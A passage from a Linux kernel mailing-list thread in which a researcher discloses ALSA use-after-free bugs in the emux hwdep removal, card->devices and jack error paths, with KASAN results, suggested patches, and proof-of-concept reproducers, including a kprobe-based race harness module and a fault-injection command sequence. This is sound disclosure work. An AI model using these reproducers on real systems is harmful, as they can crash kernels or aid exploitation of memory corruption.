Consequence: UAF read/write on struct snd_hwdep (function pointer
table hw->ops, hw->used decrement), struct snd_emux, struct
snd_sf_list (presets_mutex operations on freed memory) and the
portptrs targets, plus execution of already-unloaded module text in
the rmmod case.
* Reproducer and results on 7.3
synthrace.c registers the real in-tree emux on a virtual card
(snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
writing 1 to the module's "free" parameter runs the real
snd_emux_free() (the sub-driver remove body) under the hammer.
Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
portptrs accesses, including a UAF write) and
snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
disabled stays clean.
* Fix
Give hwdep fds the same user accounting the sequencer and OSS paths
already have, and make the sub-driver removal wait for them:
- register hw->ops.open / hw->ops.release calling
snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
try_module_get()s emu->ops.owner (the sub-driver module), so an
open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
- count open fds additionally in a new atomic emu->hwdep_users and
make snd_emux_free() wait for it to drain (at the top, before any
sub-structure is torn down, so in-flight ioctls cannot observe
partially freed state either).
sysfs unbind bypasses module refcounts, which is why the drain wait
is needed in addition to the refcount. This matches the semantics
the whole-card path already provides (snd_card_disconnect() waits
for open files before anything is freed).
The patch is a suggested direction, written against 7.3 and reviewed
by inspection; it has not been runtime-validated (the reported
reproduction used the unpatched kernel). Happy to test any
counter-proposal.
* Patch
[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures
snd_emux_free() (the sub-driver remove path, reachable via
rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
the soundfont list and the struct snd_emux without waiting for open
hwdep file descriptors: hwdep fds pin only the base-card module, the
emux hwdep registers no open/release hooks, and an in-flight
snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
later operation on the stale fd hits freed memory. KASAN on 7.3 shows
100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
interleave.
Register hwdep open/release hooks that take snd_emux_inc_count()
(also pinning emu->ops.owner against rmmod, like the sequencer and
OSS-sequencer paths already do), count them in a new emu->hwdep_users,
and make snd_emux_free() wait for that count to drain before tearing
anything down -- mirroring the drain that snd_card_disconnect()
performs for whole-card removal. Note that sysfs unbind is not
covered by module refcounts, which is why the drain wait is required
in addition to the refcount.
--- a/include/sound/emux_synth.h
+++ b/include/sound/emux_synth.h
@@ -99,6 +99,8 @@ struct snd_emux {
int use_time; /* allocation counter */
spinlock_t voice_lock; /* Lock for voice access */
struct mutex register_mutex;
+ atomic_t hwdep_users; /* open hwdep fds */
+ wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
int client; /* For the sequencer client */
int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
spin_lock_init(&emu->voice_lock);
mutex_init(&emu->register_mutex);
+ atomic_set(&emu->hwdep_users, 0);
+ init_waitqueue_head(&emu->free_wait);
emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
if (! emu)
return -EINVAL;
timer_shutdown_sync(&emu->tlist);
+
+ wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));
snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);
--- a/sound/synth/emux/emux_hwdep.c
+++ b/sound/synth/emux/emux_hwdep.c
@@ (before snd_emux_hwdep_ioctl)
+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: synthmr02.c --]
[-- Type: text/plain, Size: 8195 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synthmr02.c - controlled-window verification for SYNTH-MR-02
* (docs/manual-review-sound-synth-2026-11-26.md §2.2):
*
* card->devices is unlocked; snd_card_disconnect() ->
* snd_device_disconnect_all() walks it in reverse with no lock, while the
* sub-driver remove body snd_emux_free() -> snd_device_free(hwdep)
* concurrently list_del()s and kfree()s the very same struct snd_device.
*
* Setup mirrors the emu10k1 shape: a card owning
* - a parent snd_seq_device (SNDRV_DEV_SEQUENCER = 8, like the real
* "emu10k1-synth" device created by the base driver),
* - the emux hwdep (SNDRV_DEV_HWDEP = 9),
* - the card control device (SNDRV_DEV_CONTROL = 11).
*
* Controlled window: kprobe on snd_hwdep_dev_disconnect() whose *caller* is
* snd_device_disconnect_all() (return address inside
* [snd_device_disconnect_all, snd_device_free_all), resolved at runtime via
* kprobe registration addresses) stalls the disconnect walker right before
* it dereferences the (soon freed) struct snd_hwdep; then the sub-driver
* remove body snd_emux_free() frees hwdep + struct snd_device; release ->
* UAF on struct snd_hwdep and struct snd_device.
*
* Note the caller filter is what makes this deterministic: the freer's own
* snd_hwdep_dev_disconnect() call comes from snd_device_free() and must NOT
* stall.
*/
#define pr_fmt(fmt) "SYNTHMR02: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/seq_device.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
static struct snd_seq_device *sdev;
static atomic_t armed = ATOMIC_INIT(0);
static atomic_t stall_hit = ATOMIC_INIT(0);
static struct kprobe kp_disc, kp_da_start, kp_da_end;
static unsigned long da_lo, da_hi;
static struct completion disc_kthread_done;
static unsigned int stall_max_ms = 60000;
module_param(stall_max_ms, uint, 0400);
/* --- fake backend (unused by this case, but required by the API) --- */
static struct snd_emux_voice *mr2_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
return NULL;
}
static int mr2_start(struct snd_emux_voice *vp) { return 0; }
static void mr2_void1(struct snd_emux_voice *vp) {}
static void mr2_void2(struct snd_emux_voice *vp, int u) {}
static int mr2_snew(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h, const void __user *d, long c)
{
sp->block = snd_util_mem_alloc(h, 256);
return sp->block ? 0 : -ENOMEM;
}
static int mr2_sfree(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h)
{
if (sp->block) {
snd_util_mem_free(h, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators mr2_ops = {
.owner = THIS_MODULE,
.get_voice = mr2_get_voice,
.prepare = mr2_start,
.trigger = mr2_void1,
.release = mr2_void1,
.update = mr2_void2,
.terminate = mr2_void1,
.sample_new = mr2_snew,
.sample_free = mr2_sfree,
};
/* --- the controlled window --- */
static int mr2_disc_pre(struct kprobe *p, struct pt_regs *regs)
{
unsigned long ret;
if (!atomic_read(&armed))
return 0;
/* at function entry, [regs->sp] holds the return address */
ret = *(unsigned long *)regs->sp;
if (ret < da_lo || ret >= da_hi)
return 0; /* freer's own call: from snd_device_free() */
atomic_inc(&stall_hit);
pr_info("disconnect walker stalled inside snd_hwdep_dev_disconnect "
"(caller=snd_device_disconnect_all, ret=%px)\n", (void *)ret);
{
unsigned long deadline = jiffies +
msecs_to_jiffies(stall_max_ms);
while (atomic_read(&armed) && time_before(jiffies, deadline))
cpu_relax();
}
pr_info("disconnect walker resuming (hwdep+snd_device now freed)\n");
return 0;
}
static int mr2_kp_probe_by_name(struct kprobe *kp, const char *name)
{
int ret;
memset(kp, 0, sizeof(*kp));
kp->symbol_name = name;
ret = register_kprobe(kp);
return ret;
}
/* thread B body: card hot-removal side */
static int mr2_disc_thread(void *arg)
{
struct snd_card *c = arg;
snd_card_disconnect(c);
pr_info("disconnect thread finished\n");
complete(&disc_kthread_done);
return 0;
}
static int arm_set(const char *val, const struct kernel_param *kp)
{
struct task_struct *t;
int ret;
if (!card)
return -ENODEV;
/* resolve snd_device_disconnect_all() bounds at runtime */
ret = mr2_kp_probe_by_name(&kp_da_start, "snd_device_disconnect_all");
if (ret)
return ret;
da_lo = (unsigned long)kp_da_start.addr;
ret = mr2_kp_probe_by_name(&kp_da_end, "snd_device_free_all");
if (ret) {
unregister_kprobe(&kp_da_start);
return ret;
}
da_hi = (unsigned long)kp_da_end.addr;
unregister_kprobe(&kp_da_start);
unregister_kprobe(&kp_da_end);
pr_info("snd_device_disconnect_all = [%px, %px)\n",
(void *)da_lo, (void *)da_hi);
ret = mr2_kp_probe_by_name(&kp_disc, "snd_hwdep_dev_disconnect");
if (ret)
return ret;
kp_disc.pre_handler = mr2_disc_pre;
atomic_set(&armed, 1);
init_completion(&disc_kthread_done);
/* thread B: card hot-removal side */
t = kthread_run(mr2_disc_thread, card, "synthmr02_disc");
if (IS_ERR(t)) {
atomic_set(&armed, 0);
unregister_kprobe(&kp_disc);
return PTR_ERR(t);
}
pr_info("armed: snd_card_disconnect() thread started\n");
return 0;
}
static const struct kernel_param_ops arm_ops = { .set = arm_set };
module_param_cb(arm, &arm_ops, NULL, 0200);
static int go_set(const char *val, const struct kernel_param *kp)
{
if (!atomic_read(&armed) || !emu)
return -ENODEV;
/* give the disconnect walker time to reach the hwdep node + stall */
msleep(1500);
/*
* Collision-critical release: the body of snd_emux_delete_hwdep()
* (emux_hwdep.c:143-150), which is what snd_emux_free() calls on the
* rmmod/unbind path. Invoked directly so the deterministic window is
* not diluted by the seq-client teardown's synchronize_rcu() (which
* stretches to tens of seconds on a loaded 2-vCPU KASAN guest and is
* unrelated to the audited collision).
*/
pr_info("go: running snd_device_free(card, emu->hwdep) "
"(body of snd_emux_delete_hwdep)\n");
snd_device_free(card, emu->hwdep);
emu->hwdep = NULL;
pr_info("go: hwdep snd_device freed, releasing stalled walker\n");
atomic_set(&armed, 0);
wait_for_completion_timeout(&disc_kthread_done,
msecs_to_jiffies(20000));
pr_info("go: done (stall hits: %d)\n", atomic_read(&stall_hit));
return 0;
}
static const struct kernel_param_ops go_ops = { .set = go_set };
module_param_cb(go, &go_ops, NULL, 0200);
/* --- setup --- */
static int __init synthmr02_init(void)
{
int err;
parent = root_device_register("synthmr02");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 1, "synthmr02", THIS_MODULE, 0, &card);
if (err < 0)
goto err_parent;
err = snd_emux_new(&emu);
if (err < 0)
goto err_card;
emu->ops = mr2_ops;
emu->hw = card;
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 0;
emu->hwdep_idx = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
err = snd_emux_register(emu, card, 0, "synthmr02");
if (err < 0)
goto err_emux;
/* the parent sequencer device, like the real "emu10k1-synth" one */
err = snd_seq_device_new(card, 0, "synthmr02", 0, &sdev);
if (err < 0)
goto err_emux;
err = snd_device_register(card, sdev);
if (err < 0)
goto err_emux;
pr_info("card1 ready: SEQ(8)+HWDEP(9)+CTL(11) devices on card->devices\n");
return 0;
err_emux:
snd_emux_free(emu);
emu = NULL;
err_card:
snd_card_free(card);
card = NULL;
err_parent:
root_device_unregister(parent);
parent = NULL;
return err;
}
static void __exit synthmr02_exit(void)
{
atomic_set(&armed, 0);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(synthmr02_init);
module_exit(synthmr02_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SYNTH-MR-02 card->devices race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF)
2026-12-01 3:27 ` [PATCH] ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF) 徐晗翔
@ 2026-12-01 11:56 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 11:56 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: this is still present on v7.4-rc5 -- the same controlled interleave (snd_device_disconnect_all() parked inside snd_hwdep_dev_disconnect() while snd_device_free(card, hwdep) runs underneath) produces 14 slab-use-after-free reports at snd_hwdep_dev_disconnect+0x18/0x3b/0x48 and snd_device_disconnect_all+0x8c/0xa9, so card->devices remains unprotected and the attached patch still applies as-is.
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 11:27:01 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: [PATCH] ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF)
>
> Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
> sub-driver) pins only the base-card module (try_module_get of
> hw->card->module in snd_hwdep_open()); the emux sub-driver module is
> not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
> sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
> which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
> list (snd_sf_free()) and the struct snd_emux itself -- while the fd
> stays open with file->private_data pointing at the freed hwdep and
> in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
> holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
> hwdep->used nor replaces f_op the way a whole-card disconnect does).
> Verified on mainline 7.3 with a KASAN kernel and the real in-tree
> snd-emux-synth module (harness attached): one hundred slab-use-after-free
> reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
> across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
> dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
> UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
> and, with rmmod, the module text can additionally be unloaded while
> those callbacks are still running (snd_hwdep_f_ops.owner pins the
> snd-hwdep module, not the emux one). Needs the synth sub-driver
> probed; triggering the in-flight overlap needs only /dev/snd access.
> Consequences: multi-object UAF read/write (function pointer tables,
> mutex objects) and execution of unloaded module text -- crashes and a
> controlled indirect-call surface.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
> QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
> sound/core/rawmidi.c are byte-identical between the tested tree and
> the report baseline.
>
> * Mechanism
>
> - snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
> hwdep registers no ops.open/ops.release hooks
> (emux_hwdep.c:126-131), so nothing increments snd_emux usage for
> hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
> open both go through snd_emux_inc_count(), which also pins
> emu->ops.owner -- the sub-driver module).
> - snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
> without holding hw->open_mutex; the emux ioctl touches
> hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
> - The sub-driver removal path snd_emux_free() (emux.c:124-143)
> performs snd_emux_delete_hwdep() -> snd_device_free() ->
> snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
> does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
> (hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
> kfree(emu) -- none of it waits for hwdep->used to drop.
> - Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
> replaces open fds' f_op with snd_shutdown_f_ops and the teardown
> waits for all files to close before the free sequence runs. The
> sub-driver independent removal bypasses that protocol entirely --
> that bypass is the defect.
>
> The same shape exists for the emux virtual rawmidi devices
> (snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
> snd_rawmidi_open() likewise only pins the card module and
> snd_rawmidi_free() kfrees unconditionally), and for the probe error
> path of snd_emux_register() (init_hwdep registers the device, then a
> later init_seq failure frees everything through snd_emux_free()).
> This patch fixes the hwdep fd face; the rawmidi face is mentioned
> for completeness and needs the equivalent treatment.
>
> * Trigger model
>
> emu10k1/emu8000 hardware with the synth sub-driver probed
> (hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
> fd open and issues ioctls; another (root, or hot-unplug hardware
> event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
> no sub-driver module refcount) or writes the driver's unbind file.
> Consequence: UAF read/write on struct snd_hwdep (function pointer
> table hw->ops, hw->used decrement), struct snd_emux, struct
> snd_sf_list (presets_mutex operations on freed memory) and the
> portptrs targets, plus execution of already-unloaded module text in
> the rmmod case.
>
> * Reproducer and results on 7.3
>
> synthrace.c registers the real in-tree emux on a virtual card
> (snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
> synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
> writing 1 to the module's "free" parameter runs the real
> snd_emux_free() (the sub-driver remove body) under the hammer.
>
> Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
> snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
> portptrs accesses, including a UAF write) and
> snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
> disabled stays clean.
>
> * Fix
>
> Give hwdep fds the same user accounting the sequencer and OSS paths
> already have, and make the sub-driver removal wait for them:
>
> - register hw->ops.open / hw->ops.release calling
> snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
> try_module_get()s emu->ops.owner (the sub-driver module), so an
> open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
> - count open fds additionally in a new atomic emu->hwdep_users and
> make snd_emux_free() wait for it to drain (at the top, before any
> sub-structure is torn down, so in-flight ioctls cannot observe
> partially freed state either).
>
> sysfs unbind bypasses module refcounts, which is why the drain wait
> is needed in addition to the refcount. This matches the semantics
> the whole-card path already provides (snd_card_disconnect() waits
> for open files before anything is freed).
>
> The patch is a suggested direction, written against 7.3 and reviewed
> by inspection; it has not been runtime-validated (the reported
> reproduction used the unpatched kernel). Happy to test any
> counter-proposal.
>
> * Patch
>
> [PATCH] ALSA: emux: drain open hwdep users before freeing emux
> structures
>
> snd_emux_free() (the sub-driver remove path, reachable via
> rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
> the soundfont list and the struct snd_emux without waiting for open
> hwdep file descriptors: hwdep fds pin only the base-card module, the
> emux hwdep registers no open/release hooks, and an in-flight
> snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
> later operation on the stale fd hits freed memory. KASAN on 7.3 shows
> 100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
> interleave.
>
> Register hwdep open/release hooks that take snd_emux_inc_count()
> (also pinning emu->ops.owner against rmmod, like the sequencer and
> OSS-sequencer paths already do), count them in a new emu->hwdep_users,
> and make snd_emux_free() wait for that count to drain before tearing
> anything down -- mirroring the drain that snd_card_disconnect()
> performs for whole-card removal. Note that sysfs unbind is not
> covered by module refcounts, which is why the drain wait is required
> in addition to the refcount.
>
> --- a/include/sound/emux_synth.h
> +++ b/include/sound/emux_synth.h
> @@ -99,6 +99,8 @@ struct snd_emux {
> int use_time; /* allocation counter */
> spinlock_t voice_lock; /* Lock for voice access */
> struct mutex register_mutex;
> + atomic_t hwdep_users; /* open hwdep fds */
> + wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
> int client; /* For the sequencer client */
> int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
> --- a/sound/synth/emux/emux.c
> +++ b/sound/synth/emux/emux.c
> @@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
> spin_lock_init(&emu->voice_lock);
> mutex_init(&emu->register_mutex);
> + atomic_set(&emu->hwdep_users, 0);
> + init_waitqueue_head(&emu->free_wait);
> emu->client = -1;
> @@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
> if (! emu)
> return -EINVAL;
>
> timer_shutdown_sync(&emu->tlist);
> +
>
>
> + wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));
>
> snd_emux_proc_free(emu);
> snd_emux_delete_virmidi(emu);
> --- a/sound/synth/emux/emux_hwdep.c
> +++ b/sound/synth/emux/emux_hwdep.c
> @@ (before snd_emux_hwdep_ioctl)
>
>
> +static int
> +snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
> +{
> + struct snd_emux *emu = hw->private_data;
> +
> + if (!snd_emux_inc_count(emu))
> + return -EFAULT;
> + atomic_inc(&emu->hwdep_users);
> + return 0;
> +}
> +
> +static int
> +snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
> +{
> + struct snd_emux *emu = hw->private_data;
> +
> + atomic_dec(&emu->hwdep_users);
> + wake_up(&emu->free_wait);
> + snd_emux_dec_count(emu);
> + return 0;
> +}
> +
> +
> /*
> * ioctl
> */
> static int
> snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
> @@ -120,6 +166,9 @@ int
> hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
> hw->ops.ioctl = snd_emux_hwdep_ioctl;
> /* The ioctl parameter types are compatible between 32- and
> * 64-bit architectures, so use the same function. */
> hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
> + hw->ops.open = snd_emux_hwdep_open;
> + hw->ops.release = snd_emux_hwdep_release;
> hw->exclusive = 1;
> hw->private_data = emu;
> --
> 2.47.1
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (17 preceding siblings ...)
2026-12-01 3:27 ` [PATCH] ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF) 徐晗翔
@ 2026-12-01 4:28 ` 徐晗翔
2026-12-01 12:00 ` 徐晗翔
2026-12-01 4:31 ` ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF) 徐晗翔
` (22 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:28 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7856 bytes --]
snd_jack_kctl_new() publishes the jack-detection kcontrol to the card
first (snd_ctl_add() links it into card->controls and into the
ctl_numids/ctl_hash xarrays) and only then allocates the jack private
part; when that kzalloc fails, the error path calls snd_ctl_free_one()
on the kcontrol that is still linked into all three indexes -- without
holding card->controls_rwsem and without unlinking it. The result is a
persistent dangling entry: every later control-face access (ELEM_LIST /
ELEM_INFO / ELEM_READ ioctls) dereferences freed memory, and the final
card teardown walks the same dangling entry and frees it a second time.
Reached on a live registered card through the HDA reconfig path:
`echo 1 > /sys/class/sound/hwC0D0/reconfig` runs
snd_hda_codec_reset(), which clears card->shutdown via
snd_hda_unlock_devices() before device_reprobe(), so /dev/snd/controlC*
is fully operational while the reprobe creates jacks through
snd_jack_kctl_new(). The only random component is the allocation
failure itself; since our test kernel ships no CONFIG_FAILSLAB, we
injected it surgically with a one-shot kprobe on the kzalloc return
instruction inside snd_jack_kctl_new (+0x56, guarded against build
drift by live opcode bytes), which drives the byte-identical in-tree
code through the audited error branch. 957 KASAN use-after-free
reports followed immediately, with the free stack pointing at the
audited rollback itself and the use stacks in the control-face readers
and in the removal path. A negative control running the same
reconfig + reader + unbind sequence without injection is clean.
Writing the sysfs attribute requires root or equivalent; the
consequence is kernel memory corruption and a double free.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 release tarball (kernel.org), KASAN enabled,
QEMU/KVM x86_64 guest with intel-hda + hda-duplex; kernel configured
with CONFIG_SND_HDA_RECONFIG=y and CONFIG_SND_HDA_GENERIC=y
(built-in). sound/core/jack.c, sound/core/control.c and
sound/core/ctljack.c are byte-identical to the mainline 7.3 release;
line numbers below are from 7.3.
* Mechanism
- Publish first: snd_jack_kctl_new() calls snd_ctl_add()
(sound/core/jack.c:436) -> __snd_ctl_add_replace() links the
kcontrol into card->controls under controls_rwlock
(control.c:497-502) and fills ctl_numids/ctl_hash via
add_hash_entries() (control.c:403-423, 504), all under write
controls_rwsem; on return the kcontrol is globally visible.
- Rollback frees the published object: the kzalloc_obj(*jack_kctl)
at jack.c:440 fails -> "goto error" -> snd_ctl_free_one(kctl)
(jack.c:453) -> kfree(kcontrol) at control.c:331. Nothing removes
the list node or the xarray entries; snd_ctl_free_one()'s own
contract comment says "Don't call this after the control was added
to the card" (control.c:324). The correct sequence (remove_hash_entries()
-> list_del -> free) lives in __snd_ctl_remove()
(control.c:577-600) and is never reached for this object.
- The dangling state is persistent, not a narrow window: ELEM_LIST
walks card->controls and copies the freed kcontrol's id; ELEM_INFO
/ ELEM_READ resolve it through snd_ctl_find_numid()/find_id()
(an unlocked xa_load under CONFIG_SND_CTL_FAST_LOOKUP); and the
card teardown, snd_ctl_dev_free() (control.c:2457-2475), walks
card->controls under the write lock, runs __snd_ctl_remove() on
the dangling node (UAF reads in remove_hash_entries() and
snd_ctl_notify_one()) and then frees it a second time.
- Secondary data race in the same function: kctl->private_data and
kctl->private_free are written after snd_ctl_add() returned and
with no lock held (jack.c:448-449); a concurrent free between the
two writes calls snd_ctl_free_one() with private_free still NULL
and the post-release write at jack.c:449 lands on freed memory.
* Trigger model
Root (or equivalent -- the codec sysfs attributes are root-writable)
writes the reconfig attribute while the card is registered, and the
jack private-part kzalloc (jack.c:440, GFP_KERNEL) fails: real
memory pressure, or CONFIG_FAILSLAB in a debug kernel (the kernel we
tested has no fault injection, hence the targeted injection). Any
concurrently opened /dev/snd/controlC* (its ioctl paths hold only
the read lock) hits the dangling entry; the card teardown double-
frees it. Consequence: use-after-free reads through
snd_kcontrol->id/vd[]/ops, a kfree() double free, and a corrupted
control namespace (numid/hash entries point at freed memory).
* Reproducer (attached: fwmr01.c, fwmr_test.c) and results on 7.3
fwmr01.c is a module that resolves the (static) snd_jack_kctl_new
via kallsyms, registers a one-shot kprobe at +0x56 (the instruction
after the kzalloc call, guarded by live opcode bytes "48 89 c5" to
catch build drift) and clears %rax in its post_handler exactly once
while armed -- an allocation-failure injection at the exact audited
point, changing no event order. fwmr_test.c hammers
SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on /dev/snd/controlC0.
# build (against the tested kernel tree)
make -C <kernel-build-dir> M=$PWD modules
# guest sequence:
insmod fwmr01.ko
echo 1 > /sys/module/fwmr01/parameters/arm
echo 1 > /sys/class/sound/hwC0D0/reconfig # injection fires in the reprobe
./fwmr_test mr01read 20 & # reader hammer
echo "$PCIADDR" > /sys/bus/pci/drivers/snd_hda_intel/unbind
Results (7.3, 4 vCPU, KASAN):
- injection hits inside the reprobe on the first jack creation;
957 KASAN use-after-free reports on a kmalloc-192 object
(snd_kcontrol), starting ~1 ms after the injection;
- three-stack closure of the first report: allocated by
__kmalloc_noprof <- snd_jack_kctl_new+0x15 <- snd_hda_jack_add_kctls
(real generic-probe jack creation); freed by
kfree <- snd_jack_kctl_new+0xb5 -- that offset *is* the audited
error-branch call to snd_ctl_free_one(); used by
__snd_ctl_remove+0x5a, snd_ctl_elem_list+0x1fa (Read of size 64 =
two elem_id copies from card->controls), snd_ctl_elem_info+0xb8,
snd_ctl_release;
- negative control (same reconfig + reader + unbind, no injection):
0 reports, clean unbind.
Evidence excerpts attached (first-hit three stacks, injection point,
hit-site distribution).
* Suggested patch
Allocate and fully initialize the private part before publishing the
kcontrol. With private_free set before snd_ctl_add(), the add()'s
own failure path (snd_ctl_add_replace() -> snd_ctl_free_one()) frees
both objects correctly, and the audited error branch disappears.
The complete patch against 7.3 follows (also kept as
patch/0001-fw-mr01.patch); happy to rework per review.
---- patch begins ----
---
--- a/sound/core/jack.c
+++ b/sound/core/jack.c
@@ -433,25 +433,31 @@
if (!kctl)
return NULL;
+ jack_kctl = kzalloc_obj(*jack_kctl);
+ if (!jack_kctl) {
+ snd_ctl_free_one(kctl);
+ return NULL;
+ }
+
+ jack_kctl->kctl = kctl;
+ jack_kctl->mask_bits = mask;
+ INIT_LIST_HEAD(&jack_kctl->list);
+
+ kctl->private_data = jack_kctl;
+ kctl->private_free = snd_jack_kctl_private_free;
+
